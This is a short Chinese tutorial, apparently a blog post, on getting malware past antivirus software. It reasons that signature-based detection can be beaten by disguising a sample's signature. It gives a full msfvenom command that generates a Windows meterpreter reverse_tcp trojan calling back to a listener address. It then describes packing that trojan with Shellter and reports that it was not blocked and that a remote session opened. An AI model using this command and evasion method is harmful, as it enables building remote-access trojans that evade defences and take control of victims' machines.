杀毒软件釆用了模式匹配或者特征匹配的工作模式,如果一个程序中不存在病毒库中的特征 码,那么杀毒软件就不会认为这是一个病毒文件。因此我们需要修改或者掩盖恶意软件的特 征码,这样杀毒软件就很有可能不会阻止这个软件的运行。
1:shellter
kali安装shellter

msf生成payload.exe木马程序
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.17.190 LPORT=5555 -f exe -o payload.exe

进入shellter进行包壳




OK 生成成功

还行 没有被拦截

msf执行监控端,成功上线

网友评论